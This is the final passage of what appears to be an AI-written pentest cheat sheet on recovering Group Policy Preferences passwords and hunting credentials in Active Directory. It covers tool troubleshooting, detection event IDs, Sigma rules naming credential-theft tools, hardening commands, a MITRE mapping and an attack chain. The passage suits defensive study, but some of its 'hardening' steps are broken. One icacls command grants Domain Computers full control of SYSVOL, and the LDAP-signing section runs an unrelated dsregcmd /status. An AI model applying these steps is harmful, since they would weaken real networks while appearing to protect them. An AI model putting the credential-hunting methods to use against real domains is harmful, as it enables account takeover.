Snaffler "access denied" on specific share User account lacks read permissions on target share Use nxc smb --shares to enumerate readable shares first; skip denied shares
GPP password changed after XML creation Administrator rotated the password locally after GPP was deployed Verify decrypted password against current accounts; may be outdated โ€” try on other systems
No cpassword fields found in SYSVOL Either no GPP policies with embedded credentials exist, or MS14-025 was applied + old XMLs deleted Try broader credential hunting methods (Snaffler, PowerHuntShares); check if LAPS deployed instead
Trufflehog git scan finds nothing No credentials committed to git history, or repo is too new Check commit history depth; expand regex patterns for broader match
Seatbelt credential extraction "access denied" Requires user token or admin to decrypt DPAPI credentials Run as admin; try registry-based hunting instead (AutoLogon, PuTTY keys)
Decrypted GPP password doesn't work on multiple machines Local administrator password was changed manually on some systems after GPP was applied Test password on each system individually; keep list of which systems use which password

๐ŸŽฏ OPSEC Tips#


๐Ÿ›ก๏ธ Detection โ€” Event IDs#

Event ID Source What to Look For
5145 Security Log Network share object accessed โ€” bulk reads of SYSVOL\*.xml from a single IP
5140 Security Log Network share accessed โ€” unusual access to SYSVOL or NETLOGON from workstations
4663 Security Log Attempt made to access object โ€” file reads in SYSVOL (requires object auditing enabled)
4688 Security Log Process creation โ€” findstr.exe with cpassword argument
Sysmon EID 1 Sysmon Snaffler.exe, Get-GPPPassword.ps1 or gpp-decrypt execution
Sysmon EID 3 Sysmon Network connection from unexpected process to SMB port 445 on DC
LDAP query logs DC Diagnostic Bulk GPO object enumeration via LDAP in short time window

Primary detection signature: Multiple SMB file access events (5145) against \\DC\SYSVOL\...\Policies\**\*.xml from a single non-admin workstation within a short window is the clearest indicator. In a normal environment, only domain controllers and management workstations read SYSVOL bulk XML โ€” a user workstation accessing dozens of GPO XML files is anomalous.

Sigma Rules for Detection#

Rule: Suspicious GPP XML Enumeration

title: Bulk SYSVOL GPP XML Access from Non-DC
detection:
  selection:
    EventID: 5145
    ShareName: SYSVOL
    RelativeTargetName|contains: 'Policies'
    RelativeTargetName|endswith: '.xml'
    SourceIP: '!10.10.10.10'  # Exclude DC/admin IPs
  condition: selection | count(SourceIP) by SourceIP > 10 and timespan(5m)

Rule: Suspicious gpp-decrypt or Get-GPPPassword Execution

title: GPP Password Decryption Tool Execution
detection:
  selection_process:
    Image|endswith:
      - 'gpp-decrypt.exe'
      - 'Get-GPPPassword.ps1'
      - 'pypykatz.exe'
  selection_network:
    DestinationPort: 445
    Protocol: SMB
  condition: selection_process and selection_network

EDR-Specific Detections#

Hardening Commands#

# โ”€โ”€ Find and DELETE old GPP XML files from SYSVOL โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Get-ChildItem -Path "\\DC01\SYSVOL\" -Recurse -Include "Groups.xml","Services.xml",`
  "ScheduledTasks.xml","DataSources.xml","Drives.xml","Printers.xml" |
  Where-Object {$_.LastWriteTime -lt (Get-Date).AddYears(-1)} |
  Remove-Item -Force -WhatIf  # Remove -WhatIf after verification

# โ”€โ”€ Deploy LAPS (Local Administrator Password Solution) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
# Install LAPS management tools
Install-Module LAPS -Repository PSGallery -Force

# Configure LAPS via Group Policy
# Computer Configuration โ†’ Policies โ†’ Administrative Templates โ†’
#   Microsoft LAPS โ†’ Enable LAPS

# For Windows LAPS (2023+) โ€” modern replacement for legacy LAPS
# Install via Windows Update / WSUS; configure via Group Policy or MDM

# โ”€โ”€ Enforce LDAP signing to prevent relay attacks (bonus mitigation) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
dsregcmd /status
# Set via Group Policy:
# Computer Config โ†’ Windows Settings โ†’ Security Settings โ†’ Local Policies โ†’
#   Security Options:
#   "Domain member: Require strong session key (Windows 2000 or later)" = Enabled
#   "LDAP client signing requirements" = Require signing

# โ”€โ”€ Restrict SYSVOL read access (advanced โ€” breaks some scenarios) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
icacls "\\DC01\SYSVOL" /grant "Domain Computers":(OI)(CI)(F) /T
icacls "\\DC01\SYSVOL" /remove "Authenticated Users" /T
# WARNING: Only for hardened environments; may break GPO application for workstations

# โ”€โ”€ Audit SYSVOL access (enable file auditing) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
auditpol /set /subcategory:"File Share" /success:enable /failure:enable
# Enable object auditing on SYSVOL:
# Properties โ†’ Security โ†’ Advanced โ†’ Auditing โ†’ Add "Everyone" with "Read" success

๐Ÿ—บ๏ธ MITRE ATT&CK#

Technique ID Description
Credentials in Files T1552.001 Plaintext credentials found in config files, scripts, shares
Group Policy Preferences T1552.006 Decryption of GPP cpassword fields using published AES key
Unsecured Credentials T1552 General category of credential exposure via unencrypted storage
Credential Dumping T1003 DPAPI credential extraction (overlapping technique)
Account Discovery T1087 Enumeration of user accounts from GPP + SYSVOL hunting
Lateral Movement T1570 Using discovered credentials for PtH, credential spray across domain

๐Ÿ”— Attack Chain Context#

[Credential Hunting / GPP Passwords] โ”€โ”€โ†’ Plaintext Credentials Recovered
         โ”‚
         โ”œโ”€โ”€โ†’ ๐Ÿ”‘ GPP local admin password โ†’ PtH across all domain workstations
         โ”œโ”€โ”€โ†’ ๐Ÿ”‘ Service account creds in script โ†’ Kerberoasting target eliminated
         โ”œโ”€โ”€โ†’ ๐Ÿ”‘ Database SA password โ†’ direct database access / data exfil
         โ”œโ”€โ”€โ†’ ๐ŸŽซ Valid domain creds โ†’ BloodHound enumeration โ†’ full attack path
         โ”œโ”€โ”€โ†’ ๐Ÿ”‘ KeePass .kdbx found โ†’ crack master password โ†’ full vault access
         โ”œโ”€โ”€โ†’ ๐Ÿ”‘ Git repo secrets โ†’ API keys, deployment credentials โ†’ lateral access
         โ””โ”€โ”€โ†’ ๐Ÿ”‘ SCCM NAA creds โ†’ often domain-wide read access or DA equivalent

The compounding effect: GPP credentials, when found, are almost always local administrator passwords deployed domain-wide via GPP โ€” meaning the same decrypted password works on every workstation in the domain simultaneously. A single cpassword field in a Groups.xml file from 2016 can still compromise 500 machines in 2026 if it was never rotated.

Cross-references:


โœ… Attack #10 โ€” Credential Hunting / GPP Passwords complete.

๐ŸŽ‰ Category 1 โ€” Credential Attacks is now finished. That's all 10 attacks in the first category covered with full cheat sheets.

Tell me to move on when you're ready to begin Category 2 โ€” Kerberos Abuse, starting with Attack #11 โ€” Golden Ticket Attack.

Sources Plaintext Password Extraction Attack - Netwrix https://netwrix.com/en/cybersecurity-glossary/cyber-security-attacks/plaintext-password-extraction-attack/ Pentest-Hints/AD Hunting Passwords In SYSVOL.md at master https://github.com/ahmetgurel/Pentest-Hints/blob/master/AD%20Hunting%20Passwords%20In%20SYSVOL.md Group Policy Preferences | The Hacker Recipes https://legacy.thehacker.recipes/a-d/movement/credentials/dumping/group-policies-preferences GPP attacks | Internal Pentest https://xedex.gitbook.io/internalpentest/internal-pentest/active-directory/post-compromise-attacks/gpp-attacks Unsecured Credentials: Group Policy Preferences - MITRE ATT&CKยฎ https://attack.mitre.org/techniques/T1552/006/ Hunting Passwords In SYSVOL - Network Intelligence https://www.networkintelligence.ai/blogs/hunting-passwords-in-sysvol/ Password in Group Policy Preferences (GPP) Compromise https://rootguard.gitbook.io/cyberops/detection-engineering/threat-detection/ad-detections-and-mitigations/password-in-group-policy-preferences-gpp-compromise Automated Implementation of Windows-related Security-Configuration Guides https://arxiv.org/pdf/2209.08936.pdf Search-based Ordered Password Generation of Autoregressive Neural Networks http://arxiv.org/pdf/2403.09954.pdf Universal Neural-Cracking-Machines: Self-Configurable Password Models from Auxiliary Data http://arxiv.org/pdf/2301.07628.pdf SE#PCFG: Semantically Enhanced PCFG for Password Analysis and Cracking https://arxiv.org/pdf/2306.06824.pdf Detecting Forged Kerberos Tickets in an Active Directory Environment https://arxiv.org/ftp/arxiv/papers/2301/2301.00044.pdf HADES: Detecting Active Directory Attacks via Whole Network Provenance Analytics http://arxiv.org/pdf/2407.18858.pdf Alice in Passphraseland: Assessing the Memorability of Familiar Vocabularies for System-Assigned Passphrases https://arxiv.org/pdf/2112.03359.pdf When AI Defeats Password Deception! A Deep Learning Framework to Distinguish Passwords and Honeywords http://arxiv.org/pdf/2407.16964.pdf Group Policy Preferences - Tactics, Techniques, and Procedures https://ttp.parzival.sh/pentesting/infrastructure/active-directory/group-policy-preferences Group Policy Preferences (GPP) password retrieval | The guide https://reaper.gitbook.io/my-penetration-test-guide/guide/privilege-escalation/windows-privilege-escalation/group-policy-preferences-gpp-password-retrieval Group Policy Preferences - Tidal Cyber https://app.tidalcyber.com/techniques/57dd1624-42e9-42a6-b1bb-d1d1df233138 Attacking Active Directory - GPP Credentials https://www.youtube.com/watch?v=sTedpt47t2Y Attacking GPP (Group Policy Preferences) Credentials | Active Directory Pentesting https://infosecwriteups.com/attacking-gpp-group-policy-preferences-credentials-active-directory-pentesting-16d9a65fa01a?gi=e5aac7720d23 Group Policy Preferences | yuyudhn's notes https://htb.linuxsec.org/active-directory/credential-hunting/group-policy-preferences Attacking GPP (Group Policy Preferences) Credentials - Reddit https://www.reddit.com/r/InfoSecWriteups/comments/xdvst4/attacking-gpp-group-policy-preferences/ Group Policy Preferences (GPP) Passwords in SYSVOL - Haxoris Wiki https://haxoris.com/haxoris-wiki/active-directory/gpp-cpassword-in-sysvol